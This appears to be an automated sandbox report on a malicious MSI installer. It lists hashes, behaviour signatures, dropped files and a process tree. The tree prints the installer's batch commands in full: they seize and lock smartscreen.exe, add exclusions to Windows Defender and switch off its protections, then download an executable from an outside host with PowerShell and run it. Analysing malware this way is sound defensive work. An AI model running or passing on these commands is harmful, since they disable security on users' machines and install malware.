Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-10-2024 16:20

General

  • Target

    0b8b4d1854add7dfc1a27b1e93fb002b_JaffaCakes118.msi

  • Size

    3.9MB

  • MD5

    0b8b4d1854add7dfc1a27b1e93fb002b

  • SHA1

    38cecb90eb2b89d81db27a988ff09ce20db26e8e

  • SHA256

    dee25db703acc220d63785d7a72cce3817305642f5da1dc6f155d5d693bcde88

  • SHA512

    746d3f81089bf4210a831b5f5a8bec6fa946fe2cb071eb03cce2702c1e79f198cf40a7eafc89067923282a11d583188c885de8fd7d656367ee0b2ba1b861dd34

  • SSDEEP

    98304:nxnFFK+GEWJRgsnAWE05y4faRXsYA+tiQDnIjlBzpA7iQTWKKhgblL0n:JFFKZEWJtni7XpA+MSIjl5pQnTWth

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 22 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Possible privilege escalation attempt 3 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Drops file in Program Files directory 27 IoCs
  • Drops file in Windows directory 14 IoCs
  • Loads dropped DLL 3 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 43 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\0b8b4d1854add7dfc1a27b1e93fb002b_JaffaCakes118.msi
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:844
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4992
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C27E79C608EB6A995EF32E0AB84ECDA0
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:692
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 0C88C33908E44AEFA38856570E312642 E Global\MSI0000
      2⤵
      • Drops file in Windows directory
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2500
      • C:\Windows\syswow64\cmd.exe
        "cmd.exe" /C "C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4912
        • C:\Windows\SysWOW64\takeown.exe
          takeown /f "C:\Windows\System32\smartscreen.exe" /a
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          PID:1992
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\System32\smartscreen.exe" /reset
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          PID:532
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /im smartscreen.exe /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          PID:2140
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          PID:2592
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3132
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3380
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Add-MpPreference -ExclusionExtension ".dll""
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4732
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c powershell.exe -command "Set-MpPreference -MAPSReporting 0"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1988
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -command "Set-MpPreference -MAPSReporting 0"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4008
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -PUAProtection disable"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4756
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4832
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4356
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4364
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2812
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4328
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4488
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:2840
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:892
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1644
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4472
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3200
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3232
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4812
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4396
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3000
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4460
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell Invoke-WebRequest https://atclouroettfbquhfimp.com/start.EXE -OutFile start.EXE
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1232
        • C:\Windows\SysWOW64\explorer.exe
          explorer.exe "start.EXE"
          4⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:5912
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:6032

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Config.Msi\e5777a2.rbs

    Filesize

    224KB

    MD5

    d18b8e0379842acbe3d2f0e149564444

    SHA1

    2f38ace197c596b2c6d8f654efdb5b2252a4d9c0

    SHA256

    dfc624be4679675c4d4fa376a5002900e10aaad14dd1ab47093e9881c2498242

    SHA512

    83de762fb8d37cd61a520a5bf89924c55b9ee65643bc8f2f1c04c3ff64ad29ff86d748baefb3f1e71d7860db519157f9a04a6fd5b55b133dab7c6d111ef1d4f5

  • C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat

    Filesize

    2KB

    MD5

    0d7e37a6f4a468e95f360fd2a14973fa

    SHA1

    9d42ccb82cc87dee42a5d33c6d11e8c6fc689a40

    SHA256

    feb12f0acf6d604c3f9618a998b7a30cec36e0e05d2ef51f06e6d4917fdfe026

    SHA512

    6ed6f184b34e3802d2099dd0cba9eea347c74803a4c82d78c9cbeffdd0ce69572af17e9bd3060503015f6a937f303080711f725557fe162e7b36bef4c369debd

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\68FAF71AF355126BCA00CE2E73CC7374_2FC60472190717C9030A3B22E7C17DF4

    Filesize

    1KB

    MD5

    a4c9ec2af7431eb593f1a38599fc6c6d

    SHA1

    6d57ae6beda05d73aef45b9923b1e40024de285d

    SHA256

    7e8d83161c0d7699ec338e927141be2807ac53e6bc06adf79d5220516d7b2827

    SHA512

    345276bffc168d2e6111c3142dfcdb822b1cfc81787f96798897839871c575415a152118124a5ea0908df9eb39767398c64d5ac07f1844a802a1244097cfdc5e

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6C27B6DA8C60D333DD161137481B772E_8D2705640D941B859369EC71AB80665B

    Filesize

    1KB

    MD5

    84e4d30574fc486b0bcf6d75c1971169

    SHA1

    0ea2f7cc17c536ca701107190f7e78dc2f997e90

    SHA256

    7878a19294638076c1dc496705ff51a4a0b87d525c43e5fc4376930b8c875c1a

    SHA512

    26bc1dc27cdc0383480d3fdbe656b50d01b655dd1e66798eb629a53b4b99485dad24c1030d8294096b9594800d77624819ed8ab03f3a0f4b01cbf71b44a68591

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\68FAF71AF355126BCA00CE2E73CC7374_2FC60472190717C9030A3B22E7C17DF4

    Filesize

    408B

    MD5

    0300e5827395fff74032f15596166507

    SHA1

    975ac365f31728a88f94e0bd13fd1e93720112b5

    SHA256

    48f75a2ae112babd9d8566c35aa83b7ad2529250a46754dc4fff408508a73e54

    SHA512

    a350161cc901510958796f70a769bb2566b2ed0c988b3d7fc469fc7494e66288196cb6bc42391985cc773f88db483cdb39a990351c5ff2e1100e1767501715fc

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6C27B6DA8C60D333DD161137481B772E_8D2705640D941B859369EC71AB80665B

    Filesize

    426B

    MD5

    3523188f5e955aed42c40200a21d1d5a

    SHA1

    f28906ad397712f0ac3431ed66899808cf3e79d7

    SHA256

    002a33add28bc81942955292f91bf576fc4c05ce50fed06a81e3ce1cef89ede9

    SHA512

    d13841ec6f74ca833e458d88f55ac6193da0a34abdced0bc3685034bfd53062814ac02e4c5fd0d7efb31a04fbbf55d664d5c02340646f07c691dc47a8c24ea83

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    968cb9309758126772781b83adb8a28f

    SHA1

    8da30e71accf186b2ba11da1797cf67f8f78b47c

    SHA256

    92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

    SHA512

    4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    74d1cd42e52aca0f09e06fd43edde798

    SHA1

    643e4f18ba7060e551544e6921c586e119ea952d

    SHA256

    8843da56cb55cc8e822bf4aafcadb139bf5b80db30161c0d97ed1e8cdf4a3b2c

    SHA512

    e354b05abfd61c735acf0aa8565ce2b810e8b96820d54cae1fccfb86027c9387f8ae3c6b8c0ac68223ba6b6ce71cdd5c6e4df1db3f1dbea1a1860061afe57643

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    a125fdf75b068cb413b9983f17ddc3a8

    SHA1

    31410af7f4e3ab540e83ef3eacdf558a5d8335ed

    SHA256

    dbe9c1445d0f24b48979bfdb952ced6c4349968cb397f777328ab9c3021381cc

    SHA512

    8a12a999fec163885b0316f3d0087848177ee1d7fbc54c9fb7639446c25c6592631efa4320aef29abfc6465aa59b9adc721e14f56f4bacdcfbb5d3e2ed24220f

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    7574d182376bb7ce01176d259918df6a

    SHA1

    038b54e56f82ea99c429383b9eae9f67c26cdc17

    SHA256

    b9ddcbfdd1f8c6532076c77d2c4e5a7539e3c74e532165377bcff2deb0d02c40

    SHA512

    144bf59c9ada76ff2c1e35b2dfb7d6a51f0384d24fd1568c0a7011f04a76a48acc6655abd1e77d0a249b03fda8e1ea6a6fbdcbecbdecf94f4a22beba806a6ed3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    294dec70a493b4667c45253e8e4446c0

    SHA1

    aec1dda58a7f62cc15fe51784b07d0b80ffc97e9

    SHA256

    ec149a635bd566fd5e832dbce110ad82c28cb4fe73e9990e370ff728bd31faf3

    SHA512

    ad0a96ad7f99a29d048d20b45b92ec14a1797a1026ecc2d571d05ff4bd3928b85e10baa3bc784c170e841c7b13d17ddc50ad60e82fddd75590aaedcfce0c4fe7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    055276b65c79e5bd2971cd4c571a1a01

    SHA1

    cd6ba738c23be051889aaf08a1661ec55c66cee6

    SHA256

    1e3e5152a1f1f7d2ec7f67ec81926470ec1f3d01b31d9e43bc2e19aba43944d9

    SHA512

    b03338b1203b9ed8169cc4eb73ebf8983e6d444c4d0bb720c87fd7b5a1c66656199549a696c15e7f0e0fc88c29c0487d1f994b3a649522891185be7e82f60453

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    2c2655ddb60d30d34932bbf69d0eca52

    SHA1

    e3623642a6086050765698ae0c42d6c6ac6169a9

    SHA256

    eb6d63667d146cb5de3aa9093f51f98aad10dfbd95a5cc9a056ca1329c32c5a8

    SHA512

    cb0aefaefa3bbd28ee5eb3a554fb84bcba72726f85ca0c2ec93cd0f00bed34bd1f1c8cb3ab44f9dfac85d67f92173868f56868f4ac49ad75b7c9368f139b79c6

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    d25546869477421e45e1bca509801bae

    SHA1

    25a248a088326ffac1469b156012e89cef7723bd

    SHA256

    6f814e1d08a67fd011e639282ba4492e76f41febb29d73884f0e4a07a6599e65

    SHA512

    1d6e77db34a90de5b598c1965813363c4fb1d0225e7fbb93a8cfacbb1aad9e8782707839a4a9d5ce281a7b117e0126014e6479f217265bf1218704e86c4eed6e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    cda9ca78ad793650f88ccec4f6f78dcf

    SHA1

    4dbece87b5a90c5a0d5890a4fe77090e887f3b6d

    SHA256

    108fe19b2b27a5b3be8d27e04bb214429cfa878aa2370578fdbc59e648e69c7f

    SHA512

    ae5217b2bb5074ad63fc25b4a8d3c745533a711bf598a50b6a03448b1d03f38f96c465e24cca54a3b9c4345fc8a8074221c50650b21208cca95e4298e2b8c08e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    cbe122d24d524a1261aea655b5ec6b8f

    SHA1

    596b20790f041920c5246afbfcafcfdfe7b387b2

    SHA256

    efd0ef0fb28dba9d0df19ecb5d450b49ab781d525ab08bea08fc671f0c462e7c

    SHA512

    ad750039f2896901fe5497e736cf92f7f61c96f582d7f76abe89829288b65c0780d316891a1ddc6d1c4f57ddd5469c4dd79e24b918aee5bd01398c02e9685281

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    12c524d192b59eeb7d5a4e38667fd4a4

    SHA1

    f33a78cab1b45c8eb22442327a695139753230d3

    SHA256

    07383588df27feba13394ef5c43da6055e4eee15cb99e6311ddcf3b6106f05c7

    SHA512

    d587f94d09e57fbd6b7d7704131d0debe122aa8cc76e323bff7c2dc23327b9d3a86b7c1f6725da753070f5f4ad667cee83c5ffec8283310a52ab9721b0677f7f

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    3d14624ba4e92b497615383369c359fd

    SHA1

    f8e2d8121617d10adefb6b69cc3de92113aef957

    SHA256

    8ffb66c8cf428dbad7fa57736fb36c1426c6540c3697cfab64c08c9c9068fcc7

    SHA512

    d74c89c57744ca04909b9eaf51e983a2cef74b4bfcbbebe4f01b2aaaab553fd6f22545488c63a8051f4a228f3b5b9644aeed62be26a2e67d7d53a2eea88bcfaa

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fdaior1s.lo5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Windows\Installer\MSI7986.tmp

    Filesize

    211KB

    MD5

    a3ae5d86ecf38db9427359ea37a5f646

    SHA1

    eb4cb5ff520717038adadcc5e1ef8f7c24b27a90

    SHA256

    c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74

    SHA512

    96ecb3bc00848eeb2836e289ef7b7b2607d30790ffd1ae0e0acfc2e14f26a991c6e728b8dc67280426e478c70231f9e13f514e52c8ce7d956c1fad0e322d98e0

  • C:\Windows\Installer\e5777a1.msi

    Filesize

    3.9MB

    MD5

    0b8b4d1854add7dfc1a27b1e93fb002b

    SHA1

    38cecb90eb2b89d81db27a988ff09ce20db26e8e

    SHA256

    dee25db703acc220d63785d7a72cce3817305642f5da1dc6f155d5d693bcde88

    SHA512

    746d3f81089bf4210a831b5f5a8bec6fa946fe2cb071eb03cce2702c1e79f198cf40a7eafc89067923282a11d583188c885de8fd7d656367ee0b2ba1b861dd34

  • memory/892-344-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/1644-394-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/2812-444-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/2840-404-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/3000-495-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/3132-154-0x0000000007610000-0x000000000762A000-memory.dmp

    Filesize

    104KB

  • memory/3132-153-0x0000000007C50000-0x00000000082CA000-memory.dmp

    Filesize

    6.5MB

  • memory/3132-132-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/3132-161-0x0000000007930000-0x0000000007938000-memory.dmp

    Filesize

    32KB

  • memory/3132-71-0x0000000005D30000-0x0000000006084000-memory.dmp

    Filesize

    3.3MB

  • memory/3200-472-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/3232-464-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/3380-158-0x00000000073B0000-0x00000000073BE000-memory.dmp

    Filesize

    56KB

  • memory/3380-143-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/3380-160-0x00000000074D0000-0x00000000074EA000-memory.dmp

    Filesize

    104KB

  • memory/3380-155-0x00000000071E0000-0x00000000071EA000-memory.dmp

    Filesize

    40KB

  • memory/4008-70-0x0000000004BB0000-0x0000000004C16000-memory.dmp

    Filesize

    408KB

  • memory/4008-69-0x0000000004B40000-0x0000000004BA6000-memory.dmp

    Filesize

    408KB

  • memory/4008-142-0x0000000006DB0000-0x0000000006E53000-memory.dmp

    Filesize

    652KB

  • memory/4008-68-0x0000000004AA0000-0x0000000004AC2000-memory.dmp

    Filesize

    136KB

  • memory/4008-109-0x0000000005BA0000-0x0000000005BEC000-memory.dmp

    Filesize

    304KB

  • memory/4008-108-0x0000000005B80000-0x0000000005B9E000-memory.dmp

    Filesize

    120KB

  • memory/4008-67-0x0000000004C70000-0x0000000005298000-memory.dmp

    Filesize

    6.2MB

  • memory/4008-122-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/4328-414-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/4356-334-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/4364-354-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/4364-484-0x00000000073E0000-0x00000000073F1000-memory.dmp

    Filesize

    68KB

  • memory/4396-485-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/4460-454-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/4472-424-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/4472-505-0x0000000007B60000-0x0000000007B74000-memory.dmp

    Filesize

    80KB

  • memory/4488-364-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/4732-111-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/4732-121-0x00000000069E0000-0x00000000069FE000-memory.dmp

    Filesize

    120KB

  • memory/4732-156-0x0000000007020000-0x00000000070B6000-memory.dmp

    Filesize

    600KB

  • memory/4732-110-0x0000000006A00000-0x0000000006A32000-memory.dmp

    Filesize

    200KB

  • memory/4732-157-0x0000000006F90000-0x0000000006FA1000-memory.dmp

    Filesize

    68KB

  • memory/4732-159-0x0000000006FD0000-0x0000000006FE4000-memory.dmp

    Filesize

    80KB

  • memory/4732-66-0x00000000024C0000-0x00000000024F6000-memory.dmp

    Filesize

    216KB

  • memory/4756-434-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/4812-374-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB

  • memory/4832-384-0x000000006FA50000-0x000000006FA9C000-memory.dmp

    Filesize

    304KB